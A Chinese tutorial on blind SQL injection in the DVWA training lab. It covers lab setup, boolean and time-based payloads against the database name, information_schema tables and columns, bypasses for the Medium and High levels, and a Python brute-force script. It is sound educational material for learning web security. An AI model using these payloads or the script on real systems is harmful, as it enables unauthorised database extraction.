
在 SQL 注入这条学习路径上盲注Blind SQL Injection是让很多人卡壳的第一个坎。和普通注入不一样页面不会直接把报错信息、数据内容吐给你你看到的往往只有“存在”和“不存在”两种反馈。DVWA 靶场里的 SQL InjectionBlind模块恰好把这个过程包装得非常典型适合新手把盲注的整套思路捋明白怎么判断注入点、怎么构造真假条件、怎么逐字符把数据库信息“磨”出来最后再配合脚本自动化提升效率。这篇文章会从 DVWA 靶场的搭建开始把 Low、Medium、High 三个安全等级下的盲注差异都过一遍然后给出完整的手工注入流程和 Python 自动化脚本最后整理几个我实际踩过的坑。不管你是刚入门 Web 安全还是准备面试前突击 SQL 注入这篇都能直接照着操作。1. 先弄明白盲注到底是什么DVWA 这部分为什么值得练1.1 无回显条件下来判断注入普通 SQL 注入你提交1后数据库报错、页面直接输出 SQL 语句片段或者把查询结果连表带字段展示出来信息量巨大。盲注不是这样开发者可能在代码里把错误信息全部吞掉了只给一个布尔结果查询到了就返回“存在”查不到就返回“不存在”。你要做的就是利用这个仅有的“非黑即白”反馈把数据库里的信息一个个字符猜出来。这个过程听起来笨但它非常贴近真实渗透场景。现在的 Web 应用基本不会把裸 SQL 报错抛给用户注入点很多时候都是盲注。DVWA 的 Blin d 模块专门模拟了这种环境页面只告诉你用户 ID 在不在数据库里不给你任何额外数据正好用来练习“在极有限的信息里完成数据提取”这套基本功。1.2 DVWA 盲注模块的代码逻辑DVWA 的 SQL InjectionBlind在 Low 等级下核心逻辑很简单。它以id作为查询条件从users表里查用户名和姓氏然后根据查询结果是否为空输出两种不同的反馈。无论是老版本还是新版 DVWA判断逻辑基本都是一样的if( $num 0 ) { echo User ID exists in the database.; } else { echo User ID is MISSING from the database.; }所以页面只有两个状态User ID exists in the database.和User ID is MISSING from the database.。你的所有盲注操作最终都要落到“让页面出现哪一种反馈”上。理解了这一点后面每一步就有方向了。2. 环境准备把 DVWA 靶场跑起来练习之前先把靶场搭好。DVWA 本身的安装不复杂常见的方案有两种一种适合 Windows 用户一种适合 Linux 和容器环境按自己的习惯选就行。2.1 Windows 下用 phpStudy 快速搭建如果你用的是 Windows最简单的方式就是装一个 phpStudy然后下载 DVWA 源码丢进网站根目录。下载并安装 phpStudy启动 Apache 和 MySQL 两个服务。到 GitHub 下载 DVWA 源码解压后把文件夹重命名为dvwa放到 phpStudy 的网站根目录一般是WWW或wwwroot。访问http://127.0.0.1/dvwa/第一次打开会进入安装页点击页面底部的Create / Reset Database按钮DVWA 会自动创建数据库并导入数据。用默认账号admin/password登录左侧菜单进入 “DVWA Security” 把安全等级切到 Low然后进入 “SQL Injection (Blind)” 模块。第一次安装时如果提示连接不上数据库去config/config.inc.php.dist检查一下数据库账号密码把文件重命名为config.inc.php再修改里面的配置这是最常见的坑。2.2 用 Docker 一条命令搭建Linux 或者 Mac 上推荐用 Docker省去手动配 PHP 环境的麻烦。直接拉取官方镜像启动就行docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa启动后访问http://127.0.0.1:8080/第一次同样会进入安装页点击Create / Reset Database完成初始化账号密码和 phpStudy 方式一致。容器方式的好处是环境干净练完直接删掉重来不用担心把本地环境搞乱。缺点是镜像相对老PHP 报错提示可能跟你本地的有差异不过对盲注练习没有实质影响。2.3 登录、建库和重置数据库的正确姿势有个细节很多人容易忽略DVWA 的数据库在首次安装时可能没有完全导入导致后面查用户数据查不到盲注练习时页面反馈和预期不一致。如果发现查询任何 ID 都返回 “MISSING”建议回到安装页再点一次Create / Reset Database或者直接清理浏览器 Cookie 后重新访问。登录后先去DVWA Security页面把安全等级设置切换成 Low。这个等级会影响后续注入的难度我们依次从 Low 练起再逐步切到 Medium 和 High这样能明显感受到防护手段升级后注入思路的变化。3. 手工注入从判断注入点到逐字符“猜”出数据库手工盲注是整个练习的核心也是锻炼 SQL 注入思路最重要的一环。不要一上来就上 sqlmap先把每一步手工操作吃透后面自动化工具才能用得明白。3.1 第一步确认注入点进入 DVWA 的 SQL Injection (Blind) 页面后你会看到一个 User ID 输入框。输入 1 提交页面返回 “User ID exists in the database.”输入 9999页面返回 “User ID is MISSING from the database.”现在试一下输入1注意这里带了一个单引号。正常情况下页面会返回MISSING或者直接出现 SQL 语法错误的提示。为什么因为后台 SQL 语句大概是这样的SELECT first_name, last_name FROM users WHERE user_id $id;当你输入1后SQL 语句变成SELECT first_name, last_name FROM users WHERE user_id 1;多出来的单引号把 SQL 语法破坏了查询无法正常执行结果自然就不是“存在”。这说明我们输入的参数被直接拼接进了 SQL存在注入点。3.2 第二步布尔盲注判断“真假”确认注入点之后要验证能否通过条件来控制页面反馈。在输入框里提交1 AND 11实际拼接后的 SQL 是SELECT first_name, last_name FROM users WHERE user_id 1 AND 11;11永远是成立的所以整个查询条件和WHERE user_id 1等价页面会返回 “存在”。再提交1 AND 12拼接后变成SELECT first_name, last_name FROM users WHERE user_id 1 AND 12;12永远不成立整个条件为假查询结果为空页面返回 “不存在”。一个条件为真、一个条件为假两种反馈区分得非常明显这就是典型的布尔盲注。通过不断构造 “为真/为假” 的条件就能一比特一比特地提取信息。在 URL 中提交时注意空格有时候会被浏览器吃掉建议把空格替换成或者用 Burp Suite 直接改请求包避免格式问题。比如GET /vulnerabilities/sqli_blind/?id1AND1%3D2SubmitSubmit HTTP/1.1%3D是的 URL 编码方便起见直接写也可以浏览器会帮你编码。3.3 第三步爆库名、表名、字段名现在进入正题如何把数据库名“猜”出来。MySQL 中database()函数返回当前数据库名。我们先判断数据库名的长度再逐字符判断具体内容。判断数据库名的长度是否等于 41 AND LENGTH(database())4 -- 注意 payload 末尾的-- 这是把原来 SQL 语句中最后一个单引号注释掉防止它破坏语法。如果页面返回 “存在”说明当前数据库名长度为 4DVWA 的数据库名恰好就是dvwa。接下来逐字符判断。用SUBSTRING函数截取数据库名的第一个字符判断它是不是字母d1 AND SUBSTRING(database(),1,1)d -- 如果页面返回 “存在”说明第一位是d。继续判断第二位1 AND SUBSTRING(database(),2,1)v -- 用同样的方法依次判断最终得到完整的库名dvwa。拿到库名之后下一步是爆表名。先判断dvwa库里的第一张表名的第一个字符1 AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schemadvwa LIMIT 0,1),1,1)u -- 这条语句的嵌套关系要理清楚SELECT table_name FROM information_schema.tables WHERE table_schemadvwa LIMIT 0,1取出第一张表的表名然后SUBSTRING(...,1,1)截取它的第一个字符再和u对比。如果页面返回 “存在”说明第一张表的表名以u开头DVWA 里第一张表正是users。类似的判断users表里有哪些字段。先判断第一个字段名的第一个字符1 AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_nameusers LIMIT 0,1),1,1)u -- users表的第一个字段在 DVWA 里通常是user_id所以第一位是u的判断会成立。后面的字段以此类推。了解information_schema库的用法是关键它存了所有数据库、表、字段的元数据是 SQL 注入信息提取的“字典”。逐个字符手工判断确实很费时间但它能让你建立起对盲注最直观的体感。等理解透彻之后再写脚本把这些重复操作自动化效率就上来了。3.4 第四步提升到 Medium / High 的盲注差异DVWA 的安全等级切换到 Medium 后后台不再用 GET 参数接收id改成了 POST 参数同时用mysqli_real_escape_string对输入做了转义。这个函数会把单引号等特殊字符前面加上反斜杠像前面用的1 AND 11这种字符串型注入会被直接破坏。但 Medium 等级有个很有意思的细节虽然它对输入做了转义后台 SQL 语句却没有用单引号把$id包裹起来而是直接拼接数字$getid SELECT first_name, last_name FROM users WHERE user_id $id;;所以这时候用数字型注入完全不受影响。直接提交1 AND 11和1 AND 12来验证布尔差异判断条件也能正常使用1 AND LENGTH(database())4这个例子提醒我们绕过过滤时先别急着想花哨技巧仔细观察后台拼接方式往往简单的数字逻辑就能解决问题。High 等级则把输入点从 GET/POST 参数换成了 Cookie 里的id值同时 SQL 语句又重新用单引号包裹了$id并且加了LIMIT 1。这时候你用 Burp Suite 修改浏览器发出的 Cookie把id1 AND 11这种 payload 放进 Cookie 里提交才能触发注入。High 等级的关键在于换一个“输入面”去思考开发者只防了表单参数却在 Cookie 里留下了同样的洞。手工测试时可以用 Burp 抓包后把 Cookie 里的id改掉再重发观察响应差异。4. 用 Python 写一个盲注小工具手工验证几个字符还行要把数据库名、表名、字段名全抠出来非要写脚本不可。Python 的requests库足够做这件事逻辑也不复杂定义好注入函数用它依次爆破每个位置的字符。4.1 先抓包看清请求格式写脚本之前先用 Burp Suite 把正常请求的格式看清楚。Low 等级下请求是GET /vulnerabilities/sqli_blind/?id1SubmitSubmit HTTP/1.1 Host: 127.0.0.1:8080 Cookie: PHPSESSID你的会话ID; securitylowPHPSESSID是登录后的会话凭证securitylow表示当前安全等级。这两个 Cookie 字段在脚本里都要带上否则请求会跳转到登录页。4.2 布尔盲注爆破脚本以爆破数据库名为例写一个基础脚本import requests import string url http://127.0.0.1:8080/vulnerabilities/sqli_blind/ cookies { PHPSESSID: 你的会话ID, security: low } def inject(payload): params { id: payload, Submit: Submit } r requests.get(url, paramsparams, cookiescookies, timeout10) return exists in r.text.lower() # 1. 先判断数据库名长度 for length in range(1, 20): payload f1 AND LENGTH(database()){length} -- if inject(payload): print(f[] 数据库名长度: {length}) db_length length break # 2. 逐字符爆破数据库名 charset string.ascii_lowercase string.digits _ db_name for i in range(1, db_length 1): for ch in charset: payload f1 AND SUBSTRING(database(),{i},1){ch} -- if inject(payload): db_name ch print(f[] 第 {i} 个字符: {ch}) break print(f[] 数据库名: {db_name})注意脚本里inject函数用exists in r.text.lower()判断页面是否返回了User ID exists in the database.这里匹配的是exists这个关键词。如果你用的 DVWA 版本回显文案不同需要改成实际页面的关键词这一步是整个脚本能不能跑通的关键。4.3 几个让脚本更稳定的小细节实际跑脚本的时候有几个细节能让过程顺畅很多。第一requests请求的会话保持。如果脚本中途重新登录了 DVWA旧的PHPSESSID会失效。建议用requests.Session()保持 Cookie或者每次请求前手动刷新会话值。session requests.Session() r session.get(url, paramsparams, cookiescookies, timeout10)第二字符集范围。数据库名、表名通常由小写字母、数字和下划线组成把这些字符放进去就够。如果后台开启了大小写敏感的排序规则可以加上大写字母避免漏判。第三网络超时和重试。本地靶场一般很稳定但如果你在远程靶场练习网络波动会导致响应超时。给请求加上timeout并对失败请求做重试能减少误判def inject(payload): for _ in range(3): try: r session.get(url, paramsparams, cookiescookies, timeout10) return exists in r.text.lower() except requests.RequestException: continue return False第四注意 SQL 语句中的空格和引号在 URL 参数中是否被正确编码。requests库会自动对 params 做编码但如果你把 payload 直接拼到 URL 字符串里要确保用requests.utils.quote或直接交给 params 参数处理否则特殊符号可能被浏览器或服务端解析错乱。5. 常见问题与排查技巧实录盲注练多了各种怪问题都会遇到。这里整理几个我实际踩过的坑按“现象 - 原因 - 解决办法”的方式列出来给大家做个速查。5.1 页面回显关键词和预期不一致不同版本的 DVWA页面回显文案不完全一样。老版本可能显示User ID exists in the database.新版可能只显示ID: 1 First name: admin Surname: admin这类查询结果。如果你写脚本时匹配的是exists页面里根本不存在这个单词脚本就会一直返回 False。解决办法很简单手工先用浏览器提交一次看清页面到底输出什么再决定脚本里匹配哪个关键词。如果页面回显的是“用户名”这种数据那说明你目标页面的代码逻辑和 Low 的经典版本不一样需要用其他布尔差异来做判断。5.2 输入单引号后页面直接报错而不是返回 MISSING这是最容易懵的情况。理论上盲注页面不会输出数据库错误但如果 DVWA 的PHP display_errors配置是开启的SQL 语法错误会直接展示在页面上。这种报错信息本身也是一种注入判断依据但如果你的目标是练布尔盲注建议把 PHP 报错关掉或者切换到 DVWA 推荐的默认配置否则页面会变得很“吵”。还有一个可能是你把安全等级切到了 Impossible。这个等级用了参数化查询你输入任何 payload 都会被当成普通字符串处理单引号自然不再引发 SQL 错误而是正常查询一个不存在的 ID。发现注入不生效先回 DVWA Security 确认等级。5.3 注释符 -- 后面要不要加空格MySQL 的--注释符要求后面至少跟一个空格或控制字符否则不生效。你手动在浏览器或 Burp 里提交-- 时末尾有个空格。但在某些自动化的构造场景里空格被处理掉了--可能不被 MySQL 识别为注释导致 SQL 语句最后多出一个单引号查询报错。稳妥的做法是使用-- -这种风格或者用#注释符。在 URL 中直接写#需要编码为%23否则你提交的#会被当成 URL 锚点根本传不到后端。写脚本时如果用requests的 params 参数就不太需要担心这个问题。5.4 时间盲注的 SLEEP() 不生效有些场景下页面既没有布尔反馈也没有报错信息你就只能靠响应时间来区分真假也就是时间盲注。经典的 payload 是1 AND SLEEP(5) -- 如果页面没有延迟 5 秒可能是这几个原因当前用户没有SLEEP函数的权限或者 MySQL 版本/数据库引擎不支持也可能是你所在的网络环境本身就有较大延迟5 秒的差异不明显。先测试一个更大的SLEEP(10)确认思路是否可行同时检查数据库类型确认是不是 MySQL。如果是 SQLite 或 PostgreSQL函数名和写法都会不同。5.5 脚本跑着跑着突然全部返回 False这是典型的会话过期问题。DVWA 的登录会话有时效超时后你再发请求会被重定向到login.php页面上不再有exists关键字脚本自然开始误判。排查方法是在脚本里打印每次请求的响应长度或响应前 100 个字符如果发现突然都是登录页面的内容就重新登录并更新 cookies。现象可能原因解决办法页面回显关键字不匹配DVWA 版本不同手工确认页面实际文案并修改脚本匹配关键词单引号提交后直接报错PHP display_errors 开启调整 php.ini 关闭报错或直接以报错作为注入判断依据注释符不生效MySQL 的--后缺空格使用-- -或#URL 中注意#编码SLEEP() 无延迟数据库类型不同或权限受限确认数据库类型或改用更大的延迟值脚本中途全部 False会话过期重新登录并更新 Cookie改用 Session 保持会话我个人在实际操作中最推荐的组合是先用 Burp Suite 手工过一遍 Low 等级的全部流程把布尔盲注的每个环节都跑通再用 Python 脚本把重复字符爆破自动化最后把 Medium 和 High 等级分别调出来观察代码和请求参数的变化思考对应场景下注入的方式有什么不同。这样一轮下来盲注的基本功就很扎实了。如果后面还想继续深挖可以往两个方向扩展一是把脚本改成支持时间盲注的版本二是研究如何用二分法或并发请求加速字符爆破。盲注的本质是信息提取解决“一条一条抠”的效率问题能让你在真实测试中省下大量时间。练靶场时始终记得一点所有操作都只在自己的实验环境或获得授权的目标上进行守住边界技术才能真正发挥价值。